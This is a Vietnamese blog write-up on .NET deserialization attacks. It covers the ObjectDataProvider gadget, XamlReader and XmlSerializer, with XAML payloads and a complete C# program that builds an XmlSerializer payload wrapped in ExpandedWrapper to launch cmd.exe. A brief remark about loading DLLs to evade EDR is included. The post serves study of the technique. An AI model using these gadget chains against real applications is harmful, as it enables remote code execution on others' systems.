[C# Deserialization] - ObjectDataProvider gadget và Xaml Formatter, XmlSerialier

Lời nói đầu

Đây là bài đầu tiên (hoặc là bài duy nhất) về series C# deserialization. Vì là bài đầu tiên nên mình sẽ nói qua về một số thuật ngữ trong quá trình mình xem về C# deserialization.

Một số thuật ngữ

Khi mới bắt đầu về C# deserialization có một số thuật ngữ mà mình nghĩ là cơ bản và cần biết.

Gadget là một class có thể bị lợi dụng (hoặc được tận dụng) để làm một hành động ngoài mong đợi như là remote code execution, arbitrary file deletion, …

Trong bài này mình sẽ phân tích ObjectDataProvider gadget. Đây là một class rất bình thường trong các ứng dụng WPF. Đọc tới đây có thể các bạn (có mình trong này) sẽ nghĩ là, WPF là desktop app mà, mình chơi websec thì có ý nghĩa gì? Mình chắc chắn là nó vẫn có vài điều có ích cho các bạn.

Formatter là định dạng để ghi dữ liệu sau khi serialized, ví dụ như là byte streams, XML, JSON, … Chúng được dùng để biến object thành các định dạng như vừa nêu, hoặc ngược lại biến các định dạng XML, JSON, … thành object.

Trong bài này, mình sẽ nói về XamlReader để xử lý định dạng XAML và XmlSerialize để xử lý định dạng XML.

Gadget ObjectDataProvider

Class ObjectDataProvider mình cũng đọc docs cũng chả biết nó dùng làm gì nữa :v Nhưng mình sẽ biết được nó nằm trong PresentationFramework.dll.

PresentationFramework.dll dùng cho ứng dụng WPF nên nếu tạo app console bình thường có thể không có sẵn, các bạn sẽ phải tìm nó ở đâu đó trong máy và thêm vào project. Của mình là nằm ở trong GAC C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework.

Quăng nó vào dnSpy. Ở setter ObjectInstance ta có thể thấy đoạn code gán thuộc tính ObjectInstance bằng method SetObjectInstance(value), sau đó gọi base.Refresh.

Trong method Refresh gọi tới BeginQuery.

Bên trong BeginQuery gọi tới QueryWorker.

Bên trong QueryWorker, gọi CreateObjectInstance gán vào _objectInstance và gọi InvokeMethodOnInstance để gọi method.

Chúng ta sẽ quan sát kỹ hơn hai method trên. CreateObjectInstance sẽ dùng Activator.CreateInstance để tạo object với kiểu _objectType, với parameter truyền vào constructor ở trong _constructorParameters.

Còn InvokeMethodInstance, sẽ gọi method MethodName trên object _objectInstance với param truyền vào method là _methodParameters.

Vậy là nếu một người có thể tạo được object ObjectDataProvider với các thuộc tính tùy ý thì có thể tạo object type khác và gọi các method trên object này. Có nhiều các truyền parameter để RCE.

Truyền ObjectType, MethodNameMethodParameters.

Truyền ObjectTypeConstructorParameters.

Truyền ObjectInstanceMethodName.

Mục đích mình viết lại nhiều cách vì thông thường các tool như ysoserial.net sẽ chỉ đưa ra một cách, làm newbie như mình sẽ lầm tưởng là chỉ có một cách, nếu biết được nhiều cách thì dễ bypass hơn. Tuy nhiên không phải cách nào cũng (de)serialize do hạn chế của formatter.

Vậy là cơ bản chúng ta đã xong ObjectDataProvider gadget. Tiếp theo, mình sẽ trình bày về cách (de)serialize nó bằng XamlReader (Xaml Formatter).

Xaml Formatter

Mình có thể dùng đoạn code bên dưới để serialize.

Output của nó sẽ như sau

<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:sc="clr-namespace:System.Collections;assembly=mscorlib" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc.exe" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd.exe">
          <sd:ProcessStartInfo.EnvironmentVariables>
            ...
            <sc:DictionaryEntry Key="ProgramFiles(x86)" Value="C:\Program Files (x86)" />
            ...
          </sd:ProcessStartInfo.EnvironmentVariables>
        </sd:ProcessStartInfo>
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

Nó sẽ đi kèm với phần EnvironmentVariables. Phần này rất là dài với không cần thiết lắm nên mình có thể rút gọn nó như sau. Cả môt số attribute của ProcessStartInfo nữa, mình cũng có thể bỏ nó đi.

<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" 
                    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" 
                    xmlns:sc="clr-namespace:System.Collections;assembly=mscorlib" 
                    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
  <ObjectDataProvider.ObjectInstance>
    <sd:Process>
      <sd:Process.StartInfo>
        <sd:ProcessStartInfo Arguments="/c calc.exe" FileName="cmd.exe">
        </sd:ProcessStartInfo>
      </sd:Process.StartInfo>
    </sd:Process>
  </ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>

Quăng nó vào deserialize thì mình thấy rằng command đã được chạy.

Chỗ này mình thấy rằng nhiều nơi dùng hàm XamlReader.Parse để demo, nhưng nó không phải là method duy nhất có thể trigger deserialization mà còn có XamlReader.Load.

Tới đây tự nhiên mình lag, và đặt câu hỏi là “Tại sao không tạo luôn object Process rồi bỏ vô Xaml luôn mà phải qua ObjectDataProvider?“ Vì Xaml không hỗ trợ gọi method Start, mà chỉ tạo object, nên mình sẽ cần ObjectDataProvider để vừa tạo object vừa gọi được method.

Ok, Xaml Formatter khá là dễ, nó có thể được dùng để tạo object khá là thoải mái.

XmlSerializer

Điểm chú ý khi attack với XmlSerializer thì type truyền vào constructor của XmlSerialier phải kiểm soát được thì mới thành công.

XmlSerializer sẽ không được thoải mái như Xaml. Mình sẽ gặp lỗi như sau khi cố serialize.

Mình có tìm hiểu trong link này. Lỗi người ta gặp cũng tương tự.

Lý do là do khi sử dụng XmlSerializer constructor, dev sẽ truyền vào type muốn serialize. Sau đó, XmlSeralizer sẽ hoạt động bằng cách tạo ra on-the-fly assembly (với tên ngẫu nhiên). Trong quá trình đó, nó sẽ duyệt qua public read/write property trong type đó rồi kiểm tra những type của những property đó có constructor mà không nhận parameter không (nếu không có thì XmlSerializer không thể tạo được object trong quá khi deserialization) rồi dựng lên một list các type nó biết trong quá trình (de)serialize dựa trên type của các property đó. Vấn đề nằm ở đây, khi serialize mà nó thấy class không nằm trong list thì exception sẽ được quăng ra. Một cách khác là thêm XInclude attribute, nó sẽ thêm type vào list. Điều đó có nghĩa là dev khi dùng phải biết các type của được dùng ở property, kể cả derived class. Nghe tới đây mình thấy hơi dở, tại vì như thế sẽ mất đi tính trừu tượng hóa của OOP.

Ở ví dụ trên ta truyền vào type ở consturctor là Object nên khi serialize nó sẽ báo lỗi là ObjectDataProvider was not expected. Vậy nếu ta chuyển type thành ObjectDataProvider thay cho Object thì sẽ như thế nào.

Nó vẫn có lỗi nhưng lần này là Process was not expected. Thuộc tính ObjectInstance của ObjectDataProvider có type là object nhưng khi serialize thì nó lại nhận được Process. Mà Process thì không có trong list.

Có một cách khác nữa để fix ngoài dùng XmlInclude là dùng constructor bên dưới. Parameter thứ hai là những thuộc tính mà XmlSerializer cho phép.

Chỗ này mình gặp một lỗi khác liên quan tới Process nên mình sẽ dựng class khác Process để thử nghiệm sau đó mình sẽ quay trở lại giải quyết class Process sau.

Ở bên dưới dùng constructor như ban đầu sẽ gây ra lỗi class Person was not expected.

Dùng constructor XmlSerializer(Type, Type[]), có thể thấy là mọi thứ đều hoạt động và không có lỗi.

Có một cách khác để bypass lỗi “class was not expected” ở Defcon. Là sử dụng ExpandedWrapper.

Vậy ExpandedWrapper có gì mà có thể bypass được.

ExpandedWrapper nằm trong assembly System.Data.Services.dll. Mình tìm thấy nó ở C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.Services.

ExpandedWrapper được định nghĩa với nhiều kiểu khác nhau nhưng kiểu được nêu ra trong bài talk là ExpandedWrapper<TExpandedElement, TProperty0>.

Nhìn qua thì nó chỉ có một public property dùng generic type.

Cha của nó cũng có một property như thế.

Tóm lại thì ExpandedWrapper<TExpandedElement, TProperty0> chỉ có hai public propery dùng generic type.

→ Đơn giản hóa lại thì nó chỉ là class có hai public property với type mà mình truyền vào.

Vậy thì tại sao lại bypass được? Generic type sẽ được thay thế bằng type thật ở compile-time. Nên nếu khởi tạo new ExpandedWrapper<Person, ObjectDataProvider>() thì ta sẽ có instance với property với type là PersonObjectDataProvider. Khi khởi tạo XmlSerializer với type là ExpandedWrapper<Person, ObjectDataProvider> nó sẽ duyệt qua hai type này và thêm PersonObjectDataProvider vào list mà nó cho phép, do đó có thể bypass được lỗi. Ngoài ra, ExpandedWrapper có nhiều định nghĩa, ta có thể dùng bất kỳ cái nào để bypass. Tóm lại là tìm class có dùng generic type. Cách bypass này theo mình thấy khá là hay.

Oke, để demo luôn.

Mình sẽ thử clone class ExpandedWrapper để demo generic concept mà mình nói. Mình tạo class GenericTest với hai public property như ExpandedWrapper, kết quả là vẫn serialize thành công.

Nãy giờ mình chủ yếu nói về serialize mà không có deserialize, không phải khi nào serialize được thì deserialize sẽ được nhưng trong những gì mình nãy giờ trình bày nãy giờ thì nó là như thế, cứ serialize được là sẽ deserialize được.

Oke, tiếp theo chúng ta quay lại lỗi lúc nãy đối với Process.

Lý do là vì, Process kế thừa từ Component.

Trong Component có thuộc tính site là một interface cho nên không thể serialize nó được.

Trong log lỗi nó nói thế luôn :v

Một cách để xử lý chuyện này là bọc một thứ gì đó bên trong, tương tự như ý tưởng ExpandedWrapper lúc này là mình cần có gì đó bọc lại. Một cách mà mọi người thường dùng là bọc XamlReader.Parse bên trong. Rõ ràng là lúc này XamlReader.Parse có thể serializer được Process. Nên bây giờ chúng ta sẽ dùng XmlSerialize để serialize XamlReader thay vì trực tiếp là Process.

Demo

Copy đống vừa nhận được vào XmlSerializer để deserialize, ta thấy rằng cmd calc.exe đã được thực thi thành công.

Cơ bản code sẽ như này.

using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Data;
using System.Xml.Serialization;
using System.Data.Services.Internal;
using System.Windows.Controls;
using System.Windows.Markup;
using System.Xml;
using System.Reflection;
using System.Windows;
using System.Collections.Generic;
using System.CodeDom;
using System.Collections.Specialized;

namespace XmlDeserialization
{
    class Program
    {
        static void Main(string[] args)
        {
            Process p = new Process();
            ProcessStartInfo psi = new ProcessStartInfo();
            psi.FileName = "cmd.exe";
            psi.Arguments = "/c calc.exe";
            p.StartInfo = psi;
            ObjectDataProvider odp = new ObjectDataProvider();
            odp.MethodName = "Start";
            odp.ObjectInstance = p;
            String XamlPayload = XamlWriter.Save(odp);

            ObjectDataProvider odp2 = new ObjectDataProvider();
            odp2.MethodName = "Parse";
            odp2.ObjectInstance = new XamlReader();
            odp2.MethodParameters.Add(XamlPayload);
            ExpandedWrapper<XamlReader, ObjectDataProvider> wrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
            wrapper.ProjectedProperty0 = odp2;
            MemoryStream memoryStream = new MemoryStream();
            TextWriter writer = new StreamWriter(memoryStream);
            XmlSerializer xml = new XmlSerializer(
                typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>)
            );
            xml.Serialize(writer, wrapper);
            string result = Encoding.UTF8.GetString(memoryStream.ToArray());
            Console.WriteLine(result);
        }
    }
}

Nhưng mình chưa hiểu sao khi chạy nó lại lỗi tới chỗ environment bên trong XamlPayload, nếu mình thử tay xóa chỗ environment đó đi thì sẽ chạy được.

Tạm thời mình sẽ bỏ qua lỗi đó và sẽ xử lý sau nếu cần thiết.

Ngoài XamlReader ra, ta có thể thay đổi thành những formatter khác nếu thích hợp.

Nếu các bạn dùng ysoseria.NET để sinh ra payload các bạn có thể thấy nó dùng ResourceDictionary bọc bên ngoài ObjectDataProvider.

Trong trường hợp đơn giản như Process thì ResourceDictionary không cần thiết. Mình có đặt câu hỏi cho tác giả và nhóm cộng tác viên ở đây. Chỉ là khi dùng ResourceDictionary thì nó sẽ dễ dàng hơn vì có thể dùng kiểu daisychain.

Tức là có thể tách nhỏ nó ra rồi gọi lại sau.

Một điều nữa cần lưu ý đối với XmlSerializer là nó sẽ truy cập các thuộc tính, nếu class của thuộc tính đó không thể truy cập (private) thì nó sẽ báo lỗi. Ví dụ như ở gadget ObjectDataProvier ta có thể gán property ObjectType nhưng khi gán thì không thể serialize.

Vì kiểu Type thực chất là kiểu RuntimeType và kiểu này không phải public nên sẽ báo lỗi như trên.

Case study

Case study rõ nhất về XmlSerialize chắc là CVE-2017-9822.

Một ví dụ khi việc dùng ResourceDictionary là để bypass EDR, ví dụ khi dùng Process thì sẽ tạo process mới và EDR sẽ dễ dàng phát hiện điều đó. Ta có thể dùng Assembly.Load(dll bytes) để load DLL tùy ý. Mình có đọc được một blog như thế. Blog này giới thiệu ObjectDataProvider theo một góc nhìn khác mà mình giới thiệu ở trên, mình thấy cũng rất hay.

Tổng kết

Qua đây, mình học được cách bypass giới hạn của XmlSerialize bằng generic type.

Đây cũng là bài đầu tiên mình viết về C#, .NET. Hy vọng mình sẽ có thêm thời gian để phân tích nhiều gadget và format hơn nữa.

0
Subscribe to my newsletter

Read articles from Lê Mậu Anh Phong directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Lê Mậu Anh Phong
Lê Mậu Anh Phong

Hi!